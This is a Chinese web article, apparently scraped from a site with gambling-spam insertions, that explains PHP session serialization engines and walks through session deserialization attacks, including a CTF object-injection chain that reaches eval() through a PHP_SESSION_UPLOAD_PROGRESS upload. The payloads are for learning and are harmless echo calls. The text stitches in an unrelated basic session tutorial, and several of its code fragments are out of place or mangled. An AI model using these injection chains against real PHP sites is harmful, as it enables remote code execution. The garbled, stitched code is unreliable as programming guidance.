澳门新浦京电子游戏PHP 中 Session 反序列化机制

简介

在php.ini中存在三项配置项:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

session.save_path="D:xampptmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files          表明session是以文件的方式来进行存储的
session.auto_start=0                表明默认不启动session
session.serialize_handler=php       表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

对比起 Cookie,Session 是存储在服务器端的会话,相对安全,并且不像 Cookie
那样有存储长度限制,本文简单介绍 Session 的使用。
由于 Session 是以文本文件形式存储在服务器端的,所以不怕客户端修改
Session 内容。实际上在服务器端的 Session 文件,PHP 自动修改 Session
文件的权限,只保留了系统读和写权限,而且不能通过 ftp
修改,所以安全得多。

对于Cookie来说,假设我们要验证用户是否登陆,就必须在Cookie中保存用户名和密码,并在每次请求页面的时候进行验证。如果用户名和密码存储在数据库,每次都要执行一次数据库查询,给数据库造成多余的负担。因为我们并不能只做一次验证。为什么呢?因为客户端Cookie中的信息是有可能被修改的。假如你存储$admin变量来表示用户是否登陆,$admin为true的时候表示登陆,为false的时候表示未登录,在第一次通过验证后将$admin等于true存储在Cookie,下次就不用验证了,这样对么?错了,假如有人伪造一个值为true的$admin变量那不是就立即取的了管理权限么?非常的不安全。
而Session就不同了,Session是存储在服务器端的,远程用户没办法修改Session文件的内容,因此我们可以单纯存储一个$admin变量来判断是否登陆,首次验证通过后设置$admin值为true,以后判断该值是否为true,假如不是,转入登陆界面,这样就可以减少很多数据库操作了。而且可以减少每次为了验证Cookie而传递密码的不安全性了(Session验证只需要传递一次,假如你没有使用SSL安全协议的话)。即使密码进行了md5加密,也是很容易被截获的。
当然使用Session还有很多优点,比如控制容易,可以按照用户自定义存储等。我这里就不多说了。
Session在php.ini是否需要设置呢?一般不需要的,因为并不是每个人都有修改php.ini的权限,默认Session的存放路径是服务器的系统临时文件夹,我们可以自定义存放在自己的文件夹里,这个稍后我会介绍。
开始介绍如何创建Session。非常简单,真的。
启动Session会话,并创建一个$admin变量: 复制代码 代码如下:<?php //启动Session
session_start(); //声明一个名为admin的变量,并赋空值。
$_SESSION[“admin”]=null; ?>
如果你使用了Seesion,或者该PHP文件要调用Session变量,那么就必须在调用Session之前启动它,使用session_start()函数。其它都不需要你设置了,PHP自动完成Session文件的创建。
执行完这个程序后,我们可以到系统临时文件夹找到这个Session文件,一般文件名形如:sess_4c83638b3b0dbf65583181c2f89168ec,后面是32位编码后的随机字符串。用编辑器打开它,看一下它的内容:
admin|N; 一般该内容是这样的结构: 变量名|类型:长度:值;
并用分号隔开每个变量。有些是可以省略的,比如长度和类型。
我们来看一下验证程序,假设数据库存储的是用户名和md5加密后的密码: 复制代码 代码如下:<?php //表单提交后…
$posts=$_POST; //清除一些空白符号 foreach { $posts[$key]=trim; }
$password=md5; $username=$posts[“username”];
$query=”SELECT`username`FROM`user`WHERE`password`=’$password'”;
//取得查询结果 $userInfo=$DB->getRow; if {
if($userInfo[“username”]==$username) { //当验证通过后,启动Session
session_start(); //注册登陆成功的admin变量,并赋值true
$_SESSION[“admin”]=true; } else { die; } } else { die; }
我们在需要用户验证的页面启动Session,判断是否登陆: <?php
//防止全局变量造成安全隐患 $admin=false; //启动会话,这步必不可少
session_start(); //判断是否登陆 if(isset&&$_SESSION[“admin”]===true)
{ echo”您已经成功登陆”; } else {
//验证失败,将$_SESSION[“admin”]置为false
$_SESSION[“admin”]=false; die; } ?>
是不是很简单呢?将$_SESSION看成是存储在服务器端的数组即可,我们注册的每一个变量都是数组的键,跟使用数组没有什么分别。
如果要登出系统怎么办?销毁Session即可。 复制代码 代码如下:<?php session_start();
//这种方法是将原来注册的某个变量销毁 unset;
//这种方法是销毁整个Session文件 session_destroy(); >
Session能否像Cookie那样设置生存周期呢?有了Session是否就完全抛弃Cookie呢?我想说,结合Cookie来使用Session才是最方便的。
Session是如何来判断客户端用户的呢?它是通过SessionID来判断的,什么是SessionID,就是那个Session文件的文件名,SessionID是随机生成的,因此能保证唯一性和随机性,确保Session的安全。一般如果没有设置Session的生存周期,则SessionID存储在内存中,关闭浏览器后该ID自动注销,重新请求该页面后,重新注册一个SessionID。
如果客户端没有禁用Cookie,则Cookie在启动Session会话的时候扮演的是存储SessionID和Session生存期的角色。
我们来手动设置Session的生存期: 复制代码
代码如下:<?php session_start(); //保存一天 $lifeTime=24*3600;
setcookie,session_id+$lifeTime,”/”); ?>
其实Session还提供了一个函数session_set_cookie_params();来设置Session的生存期的,该函数必须在session_start()函数调用之前调用:
复制代码 代码如下:<?php //保存一天
$lifeTime=24*3600; session_set_cookie_params; session_start();
$_SESSION[“admin”]=true; ?>
如果客户端使用IE6.0,session_set_cookie_params();函数设置Cookie会有些问题,所以我们还是手动调用setcookie函数来创建cookie。
假设客户端禁用Cookie怎么办?没办法,所有生存周期都是浏览器进程了,只要关闭浏览器,再次请求页面又得重新注册Session。那么怎么传递SessionID呢?通过URL或者通过隐藏表单来传递,PHP会自动将SessionID发送到URL上,URL形如:
复制代码 代码如下:<?php //保存一天
$lifeTime=24*3600; //取得当前Session名,默认为PHPSESSID
$sessionName=session_澳门新浦京电子游戏,name(); //取得SessionID
$sessionID=$_GET[$sessionName];
//使用session_id()设置获得的SessionID session_id;
session_set_cookie_params; session_start();
$_SESSION[“admin”]=true; ?>
对于虚拟主机来说,如果所有用户的Session都保存在系统临时文件夹里,将给维护造成困难,而且降低了安全性,我们可以手动设置Session文件的保存路径,session_save_path()就提供了这样一个功能。我们可以将Session存放目录指向一个不能通过Web方式访问的文件夹,当然,该文件夹必须具备可读写属性。
复制代码 代码如下:<?php
//设置一个存放目录 $savePath=”./session_save_dir/”; //保存一天
$lifeTime=24*3600; session_save_path; session_set_cookie_params;
session_start(); $_SESSION[“admin”]=true; ?>
同session_set_cookie_params();函数一样,session_save_path()函数也必须在session_start()函数调用之前调用。
我们还可以将数组,对象存储在Session中。操作数组和操作一般变量没有什么区别,而保存对象的话,PHP会自动对对象进行序列化,然后保存于Session中。下面例子说明了这一点:
<?php classperson { var$age; functionoutput(){ echo$this->age; }
functionsetAge{ $this->age=$age; } } ?> setage.php <?php
session_start(); require_once”person.php”; $person=newperson();
$person->setAge; $_SESSION[‘person’]=$person;
echo”<ahref=’output’>checkheretooutputage</a>”; ?> output.php <?
//设置回调函数,确保重新构建对象。
ini_set(‘unserialize_callback_func’,’mycallback’);
functionmycallback{ $classname.”.php”; } session_start();
$person=$_SESSION[“person”]; //输出21 $person->output(); ?>
当我们执行setage.php文件的时候,调用了setage()方法,设置了年龄为21,并将该状态序列化后保存在Session中,当转到output.php后,要输出这个值,就必须反序列化刚才保存的对象,又因为在解序列化的时候需要实例化一个未定义类,所以我们定义了以后回调函数,自动包含person.php这个类文件,因此对象被重构,并取得当前age的值为21,然后调用output()方法输出该值。
另外,我们还可以使用session_set_save_handler函数来自定义Session的调用方式。

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

假设我们的环境是xampp,那么默认配置如上所述。

在默认配置情况下:

<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存储和显示如下:

澳门新浦京电子游戏 1

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";。name是键值,s:6:"spoock";serialize("spoock")的结果。

在php_serialize引擎下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

由于 Session 是以文本文件形式存储在服务器端的,所以不怕客户端修改
Session 的内容。实际上在服务器端的 Session 文件,PHP自动修改 Session
文件的权限,只保留了系统读和写权限,而且不能通过 ftp
修改,所以安全很多。
 

序列化简单利用

test.php

<?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:

object(syclover)[1]
  public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。

这就是一个简单的序列化的漏洞的演示

 代码如下

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  'a:1:{s:6:"spoock";s:24:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP
Session序列话漏洞的原因。

<?php
// 启动Session
session_start();
// 声明一个名为 admin 的变量,并赋空值。
$_SESSION[“admin”] = null;
?> 

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);
    }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。

此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

<?php
// 启动Session
session_start();
// 将原来注册的某个变量销毁
unset($_SESSION[‘admin’]);
// 销毁整个 Session 文件
session_destroy();
?> 

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}

class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}

?>

index.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:

myindex.php

<?php
class foo3{
        public $varr='echo "spoock";';
        function execute(){
                eval($this->varr);
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = new foo3();
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
}

class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}

$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload
Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|

但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

<?php
// 启动Session
session_start();
// 保存一天
$lifeTime = 24 * 3600;
setcookie(session_name(), session_id(), time() + $lifeTime, “/”);
?> 

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

<?php
// 保存一天
$lifeTime = 24 * 3600;
session_set_cookie_params($lifeTime);
session_start();
$_SESSION[“admin”] = true;
?> 

参考

  • PHP Session
    序列化及反序列化处理器:
  • PHP序列化与反序列化解读:
  • php序列化:
  • Joomla远程代码执行漏洞分析(总结):
  • web3
    session反序列化:

<?php
// 保存一天
$lifeTime = 24 * 3600;
// 取得当前 Session 名,默认为 PHPSESSID
$sessionName = session_name();
// 取得 Session ID
$sessionID = $_GET[$sessionName];
// 使用 session_id() 设置获得的 Session ID
session_id($sessionID);
session_set_cookie_params($lifeTime);
session_start();
$_SESSION[‘admin’] = true;
?> 

<?php
// 设置一个存放目录
$savePath = ‘./session_save_dir/’;
// 保存一天
$lifeTime = 24 * 3600;
session_save_path($savePath);
session_set_cookie_params($lifeTime);
session_start();
$_SESSION[‘admin’] = true;
?> 

另外,我们还可以使用 session_set_save_handler 函数来自定义 Session
的调用方式。

PHP函数补完:session_id()

session_id()
session_id() 存取目前 session 代号。

语法: string session_id(string [id]);

本函数可取得或者重新配置目前存放 Session 的代号。若无参数 id
则表示只有取得目前 Session 的代号,加上参数则表示将 Session
代号设成新指定的 id。输入及返回均为字符串。

输出 session_id()

 代码如下

<?php
 session_start();
 echo session_id();
 // 输出 dqr58dnuqj2gufvg4o3tmjb9v4
?>

设置 session_id()

 代码如下

<?php
 session_id(“NowaMagic”);
 session_start();
 
 echo session_id();
 // 输出 NowaMagic
?>

session_id 恢复 session的内容 php的session是可以程序恢复的,这个和java不太一样。session的恢复机制可以实现多个应用程序session的共享,因为php的session都是以文件形式或者数据库存储的。首先是session_id的获取是通过session_id()函数获取,这个值可以进行传递。

程序恢复session,首先要知道session_id,大家通过手册可以知道session的恢复通过session_id($id);但是在恢复时要注意一个先后顺序,要得到之前session的内容,必须在session_start()之前执行session_id($id),这样才能在执行了session_start时初始化session的时候恢复到之前的内容,否则的话你得到的是一个空的session,你什么也得不到。之前session被重新初始化了。这个和session_start()的作用有密切关系,因为session_start告诉php,session要初始化,要从session文件中反序列化session内容,所以session_start的作用就是把之前存储的文件内容反序列化。session_start序列化之前要知道session_id,如果没有就生成一个新的session_id。如果有就反序列化相应文件的内容。

发表评论

电子邮件地址不会被公开。 必填项已用*标注